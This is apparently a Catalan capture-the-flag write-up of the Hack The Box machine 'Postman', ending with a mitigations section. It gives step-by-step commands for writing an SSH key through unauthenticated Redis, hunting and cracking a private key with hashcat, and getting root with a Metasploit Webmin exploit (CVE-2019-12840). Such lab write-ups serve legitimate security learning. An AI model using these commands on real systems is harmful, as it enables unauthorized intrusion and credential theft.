Postman

Llança Postman i segueix amb HTB!

Introducció

Postman porta exposició a una instància de Redis mal configurada, llevant a una caça de fitxers llegibles interessants i un final d’interacció mitjançant una eina d’administració del sistema basada en web.

Fase de Recerca

eix, estem entrant en blanc. $TARGET s’ha generat a 10.10.10.160.

Primer, escanejarem el nostre $TARGET amb NMap i veurem quins serveis poden estar disponibles.

nmap -Pn -oA scan/scan -sCV -p- -min-rate 1000 $TARGET

NMap ens saluda amb trobes que podem seguir:

1. Tenim una pàgina web Apache a 80/tcp
2. Tenim una pàgina web Webmin a 10000/tcp
3. Tenim una instància de Redis

A més, aquest host té el port 22/tcp obert, així que probablement utilitzarem SSH més endavant.

Abans d’avançar amb l’inspecció dels llocs web, executa ràpidament un script NMap redis-info per a la instància de Redis. Això ens ajudarà a entendre millor la situació de Redis.

nmap -Pn $TARGET --script redis-info

Com esperava, aquesta instància no està configurada amb cap requeriment d’autenticació, així que tenim accés complet i obert a aquesta instància.

En avançant, revisarem primer els llocs web perquè qualsevol informació que recopilem de Redis tinguera un millor context.

Tasques

• Inspecciona la Pàgina Web al Port 80
• Inspecciona la Pàgina Web al Port 10000
• Inspecciona la Instància de Redis

Inspecta la Pàgina Web al Port 80

Obrint el meu web-proxy Caido per recollir qualsevol interacció mentre investiguem aquests llocs web.

Visitant http://10.10.10.160 ens serveix un lloc web que està en construcció. Inspeccionant la pàgina web no revela molta informació rellevant, però potser el Postman@htb podria ser un usuari rellevant en el futur així que podem anotar-ho.

Per cobrir les nostres bases, farem fuzzing de directoris i intentarem trobar qualsquers directoris ocults. Emmagatzemant els meus resultats en una llista.

ffuf -c -w /opt/lists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u "http://10.10.10.160/FUZZ" -ic -ac -recursion -recursion-depth 4 -t 500 -o "fuzz/$(echo $FUZZ_HOST)_dirs.json"; cat "fuzz/$(echo $FUZZ_HOST)_dirs.json" | jq -r '.results[].url' > "fuzz/$(echo $FUZZ_HOST)_dirs.list"

Desafortunadament, encara que aquests directoris tinguin llistat habilitat, i després d’una revisió manual, no hi ha gaire interessant de trobar aquí.

Passant avall, podem eixir a veure la pàgina Webmin que hem escanejat abans.

Tasques

• Inspecciona la Pàgina Web al Port 80
• Inspecciona la Pàgina Web al Port 10000
• Inspecciona la Instància de Redis

Inspecta la Pàgina Web al Port 10000

Així que quan intentis visitar http://10.10.10.160:10000 per primer cop, seràs salutat amb un error, però proporciona algunes bones informacions aquí. Així que veiem és un registre DNS per resoldre Postman a la nostra $TARGET, i que el lloc sol·licita HTTPS.

Primer, afegim la nova informació trobada a /etc/hosts.

echo "10.10.10.160 Postman" >> /etc/hosts

I tornem a visitar el lloc mitjançant https://Postman:10000.

Com es promet, aquí tens el portal d’inici de sessió a Webmin. Webmin és una eina d’administració del sistema basada en web, i amb un poc més de recerca, és servit pel servidor web MiniServ. El mecanisme d’autenticació predeterminat serà usuaris locals mitjançant PAM.

No hi ha molta raó per forçar les credencials aquí a menys que puguem descobrir el mecanisme d’autenticació en lloc.

En els encapçalaments de resposta, podem veure que és la versió 1.910. Una investigació addicional mitjançant Searchsploit per a detalls de Webmin descriu algunes vulnerabilitats en aquesta versió.

searchsploit webmin

Mòduls de Metasploit-framework, però el punt principal són atacs contra un mòdul Package Updates que porta a RCE (CVE-2019-12840), i residus d’un atac de cadena de suministro per un backdoor utilitzant password_change.cgi, però això depenia d’una configuració específica en la nostra versió $TARGET.

Aquesta és tota una informació útil de saber i pot tornar-nos a ser útil com avançem més. Per ara, no podem continuar, així que revisem l’instància de Redis.

Podem afegir la vulnerabilitat del backdoor després d’haver completat la major part de la nostra recerca.

Tasques

• Inspecciona la pàgina web al port 80
• Inspecciona la pàgina web al port 10000
• Inspecciona la instància de Redis
• Prova l’exploit del backdoor Webmin

Inspecta la Instància de Redis

Tenim un poquet més d’informació sobre l’entorn $TARGET, així que revisar les configuracions de Redis proporcionarà un context millor amb el volc de dades en què podríem estar entrant.

Primer, una connexió manual utilitzant redis-cli, sense autenticació necessària ja que ho descobrim anteriorment, i escometre’m la configuració establerta.

redis-cli -h $TARGET

INFO

Una columna d’informació caurà; però en el futur pots filtrar per seccions específiques. Per aquesta redacció, passaré pels camps que m’interessaven.

1. Com descobrim anteriorment, versió 4.0.9
2. Versió del nucli 4.15.0, relativament antic en la numeració moderna - però adequat per a l’any de la publicació d’aquest laboratori.
3. Ubicació estàndard del fitxer de configuració, no desviant-se dels valors predeterminats.

4. Notablement, la secció Keyspace està buida, suggerint que aquesta instància no està fent gaire.

A continuació, revisant les claus de configuració. De nou, destacaré els elements que m’interessaven.

CONFIG GET *

Els detalls rellevants aquí són l’absència de desviacions respecte les configuracions predeterminades, així que la major part de la documentació hauria d’estar en punt per descriure l’instància.
El valor requirepass és <blank>, el que explica com podem autenticar-nos sense credencials. Això també significa que el nostre accés actual probablement sigui de nivell administratiu per a Redis. Finalment, dir encara està configurat a /var/lib/redis, que probablement és el directori d’inici del usuari local redis.

Per tant, sabem que aquesta instal·lació probablement té la configuració predeterminada. Pots cercar qualsevol vulnerabilitat relacionada amb la nostra versió de Redis. La recerca m’ha portat a uns pocs mètodes que poden establir un punt d’entrada en el sistema. Comenciaré amb dos que semblen prometents.

1. Utilitza redis-rogue-server per explotar la instància de Redis $TARGET creant la nostra pròpia instància i establint-la com a màster de $TARGET.
2. Escriu una clau d’SSH en una base de dades de Redis anomenada authorized_keys.

Ara tenim uns pocs idees sobre com atacar la instància de Redis, i amb un certa confiança per establir el nostre punt d’entrada.

Tasques

• Inspecciona la pàgina web al port 80
• Inspecciona la pàgina web al port 10000
• Inspecciona la instància de Redis
• Exploita Redis
• Prova l’exploit del backdoor Webmin

Bandera d’Usuari

Per ahorrar-te, el lector, algun temps - el mètode (1) no va portar cap resultat. Ho funcionaria en teoria, però la reconstrucció futura va descobrir que el fitxer redis.conf tenia una configuració addicional, rename-command MODULE "", que desactivarà el comandament MODULE de redis. Aquest comandament era necessari per completar el mètode (1).

Exploit Redis

Com que el mètode (1) ha fallat, estem passant al mètode (2). En el backend, necessitem configurar un directori Redis que l’usuari redis tingui com a seu directori d’inici. Això probablement tindrà el directori ~/.ssh i amb ell, escriurem el nostre dbfilename com a authorized_keys amb la nostra clau pública.

Si logrem això, podem iniciar sessió utilitzant aquesta clau com a redis.

Primer necessitem generar la nostra clau.

ssh-keygen -t rsa

Amb la nostra nova clau, escriurem la clau pública a un fitxer amb alguns salts de línia per ajudar amb el formatatge.

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > cat_key

A continuació, escriurem el nostre cat_key a un espai clau en Redis

cat cat_key | redis-cli -h $TARGET -x set ssh_key

Després ens connectarem de nou a Redis, configurarem el nostre directori, establirem el dbfilename, i desem els nostres dades. Suposem que /var/lib/redis és el nostre directori d’inici, i si no ho és, rebràrem un error perquè .ssh no existiria aquí.

config set dir /var/lib/redis/.ssh

config set dbfilename "authorized_keys"

save

Ara, hem desat la nostra base de dades a /var/lib/redis/.ssh/authorized_keys que contindrà la nostra clau pública. Pots intentar SSH com a redis@$TARGET utilitzant la teva clau privada.

ssh -i ~/.ssh/id_rsa redis@$TARGET

La persistència s’ha establert com a usuari redis. No hi ha cap bandera en ~/, així que aquest no pot ser l’usuari que busquem, així que continuarem cercant aquesta bandera.

Pots enumerar des de la compte d’usuari redis.

Tasques

• Exploitar Redis
• Enumerar l’usuari redis
• Provar l’exploit de la porta d’entrada trapa de Webmin

Enumeració de l’usuari redis

Els meus primers passos solen implicar enumerar els privilegis sudo i la versió, els binaris SUID, els usuaris del sistema, els fitxers i directoris escripturables i els fitxers llegibles en directoris estranys.

L’usuari redis no tenia cap privilegi de sudo, i no hi havia cap binari SUID interessant disponible.

Comprovar /etc/passwd va donar insights sobre un usuari local anomenat Matt.

cat /etc/passwd | grep 'sh$'

Revisant els nostres servidors web anteriors, /var/www/html no és escripturable, però veiem un script d’importació/exportació de servidor python interessant a /var/www/SimpleHTTPPutServer.py. No hi ha cap informació interessant dintre d’ell, però és una eina disponible si cal.

Una de les meves cerques de fitxers pre-desades m’ha portat a un fitxer privat llegible.

grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null

Ubicació estranya però l’accepto. L’examinem…

cd /opt; ls -Al; cat id_rsa.bak

-rwxr-xr-x 1 Matt Matt 1743 Aug 26  2019 id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
<SNIP>
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----

OH. És propietat de Matt i protegit per una contrasenya, d’acord, l’examinem amb les eines hashcat i 2john. Si no la treiem, tornarem a enumerar a través del redis.

Tasques

• Exploitar Redis
• Enumerar l’usuari redis
• Atacar la contrasenya de id_rsa.bak
• Provar l’explicabilitat del backdoor de Webmin

Atac de la contrasenya de id_rsa.bak

Utilitzant l’script python descobert anteriorment i aleshores pots baixar la nostra clau privada.

python /var/www/SimpleHTTPPutServer.py &

A $CAT_HOST, baixa el fitxer i intenta esbrinar-lo contra rockyou.txt.

curl "http://$TARGET:8000/id_rsa.bak" -o id_rsa_Matt

ssh2john.py id_rsa_Matt > id_rsa_Matt.hash

hashcat id_rsa_Matt.hash /opt/lists/rockyou.txt --username
# id_rsa_Matt:$sshng$0$8$73e9cefbccf5287c$1192$25e840<SNIP>3ab44d63:<REDACTED>

Fàcil. Tenim una contrasenya de clau privada <REDACTED> per a Matt@$TARGET. El pas següent és accedir i enumerar els permisos de l’usuari Matt.

### Tasques
- [x] Exploitar Redis
- [x] Enumerar usuari `redis`
- [x] Atacar contrasenya de `id_rsa.bak`
- [ ] Enumerar Usuari `Matt`
- [ ] Provar l'explicabilitat del backdoor de Webmin
## Enumera l'usuari `Matt`
Configura els permisos adequats per a la clau privada, aleshores accedeix mitjançant **SSH**
```bash
chmod 600 id_rsa_Matt
ssh -i id_rsa_Matt Matt@$TARGET
# Introduïu la contrasenya per a la clau 'id_rsa_Matt':
# Connexió tancada per 10.10.10.160 port 22

Espera. Connexió tancada.

Vegem si podem llegir el fitxer de configuració sshd. Torna al teu terminal redis.

cat /etc/ssh/sshd_config | egrep -v '^#|^$'

D’acord, Matt està denegat d’entrada per SSH. Pots veure si la contrasenya va ser reutilitzada com a password per a Matt. Des del redis, canviarem d’usuari.

su Matt

Eso sí. La reutilització de la contrasenya funciona. Des d’aquí podem obtenir el flag d’usuari.

cat ~/user.txt
# 8783<REDACTED>9e79

Ens porta a enumerar l’usuari Matt per descobrir el nostre camí cap a la bandera de root.

Tasques

• Exploitar Redis
• Enumerar usuari redis
• Atacar contrasenya de id_rsa.bak
• Enumerar Usuari Matt
• Provar l’explicabilitat del backdoor de Webmin

Bandera de Raíz

Així que tornem a la nostra fase de Recon i recordem que hem parlat sobre la interfície de Webmin? Per defecte, utilitza l’autenticació PAM, així que en teoria hauríem d’accedir a la consola de Webmin que hauria de proporcionar algunes eines força potents i sabem que és una versió vulnerable.
Així que inspeccionem ara el Webmin i tornem a enumerar l’usuari local Matt.

Tasques

• Inspecciona la Consola de Webmin
• Enumera l’Usuari Matt
• Prova l’Exploit de Backdoor de Webmin

Inspecta la Consola de Webmin

Visitant https://postman:10000 ens torna a un portal d’inici de sessió. Introdueixi les credencials que hem trobat Matt:<REDACTED>. Sembla que no cal considerar l’exploit de la porta trasera que hem investigat abans, però encara teníem disponible el CVE-2019-12840, que és una RCE suposant que tenim permisos de Actualitzacions del paquet, que… El nostre usuari Matt té accés a!

Revisant el PoC per al CVE-2019-12840, sembla que és un mòdul del Metasploit-framework.

Inicia el msfconsole i podem trobar i revisar el mòdul.

Tasques

• Inspecciona la Consola de Webmin
• Prova el Mòdul CVE-2019-12840
• Enumera l’Usuari Matt

Prova del mòdul CVE-2019-12840

Llança msfconsole.

msfconsole

Després troba linux/http/webmin_packageup_rce, que és el nostre mòdul per a CVE-2019-12840.

use linux/http/webmin_packageup_rce

Configura les opcions adequades per al nostre entorn.

set rhosts 10.10.10.160
set password <REDACTED>
set username Matt
set ssl true
set lhost tun0

Després explota!

exploit

Hem obtingut un shell feble però funciona. Des d’aquí podem llegir la bandera de root.

cat /root/root.txt

69f74080

Genial! Hem arribat aquí.

Conclusió/Mitigacions

En primer lloc, em va quedar atascat intentant trobar el meu camí a través de Redis i sol tornar a enumerar per accedir en escriptura a http://10.10.10.160:80. Les meves primeres intents d’escriure al directori d’inici de Redis van acabat amb errors, però després de reiniciar el laboratori va ser capaç d’guardar i escriure com inicialment havia suposat. Potser he fet massa canvis a la instància de Redis en les meves primeres interaccions i això pot haver malmès els meus futurs exploits fins al reinici.

Vivint i aprenent, entendre el meu entorn abans de fer canvis i, més important, crear còpies de seguretat de la configuració abans de fer canvis va ser una lecció important d’aprendre.

Revisant alguns resultats i les seves mitigacions.

Accés sense autenticació - Redis

Inicialment, la instància de Redis que hem trobat està exposada sense cap mecanisme d’autenticació configurat. Hem descobert que podem enumerar claus, escriure a fitxers i executar comandes doncs les configuracions per defecte són molt obertes per aquesta versió.

Com a un amic meu ha dit Redis:

“Redis és bàsicament una shell remota amb una bona API”

Per tant, idealment, voldríem que aquest servei estigui segur.

• Limita Redis només als xarxes necessàries.
• Configura requirepass utilitzant una contrasenya que compleixi amb una política de contrasenyes fortes.

Accés Lectura Permissiu de Clau Privada SSH

Una vegada que arribem a l’accés d’usuari com a redis@postman, la enumeració va descobrir una còpia de seguretat llegible d’una clau privada SSH per a Matt@postman. Aixímateix, encara que estava protegida amb una contrasenya, això permetia que fos susceptible a l’escrutinat fora de línia i proporcionava accés als sistemes que confiaven en aquesta clau.

Per assegurar aquesta pràctica, cal:

• Moure la clau privada a un lloc o alçament segur amb control d’accés
• Implementar una solució de gestió de secrets, si encara no ho s’ha fet.
• Establir permisos estrictes mitjançant chmod 600 per a qualsevol fitxer de clau privada
• Impor un contrasenya fort i d’al·lucament alt per a les claus SSH

Passfrase Débil Protegint la Clau Privada SSH

La clau privada SSH per Matt@postman va resultar protegida per una passfrase débil trobada en qualsevol llista de paraules comunes.

Pràctiques segures i passos de remediació són:

• Re-genera el parell de claus SSH
• Utilitza una passfrase forta amb alta entropia
• Rotació de la clau compromessa en tots els sistemes
• Emmagatzema secrets i claus privades en una solució dedicada de gestió de segrets (implementa-ne una si és necessari).

Vulnerabilitat sense correccions - Webmin CVE-2019-12840

La instància de Webmin en aquest entorn està executant v.1.910, que és vulnerable a CVE-2019-12840. Exploitar aquesta vulnerabilitat proporciona l’execució de comandes amb context de root per qualsevol usuari autenticat amb permisos per al mòdul d’actualitzacions del paquet.

Essencialment, voldríem que aquest servei estigui corregit a la versió més recent i estable si és possible. A més això, restringeix l’accés a la interfície d’usuari de Webmin als usuaris i xarxes necessàries.

Referències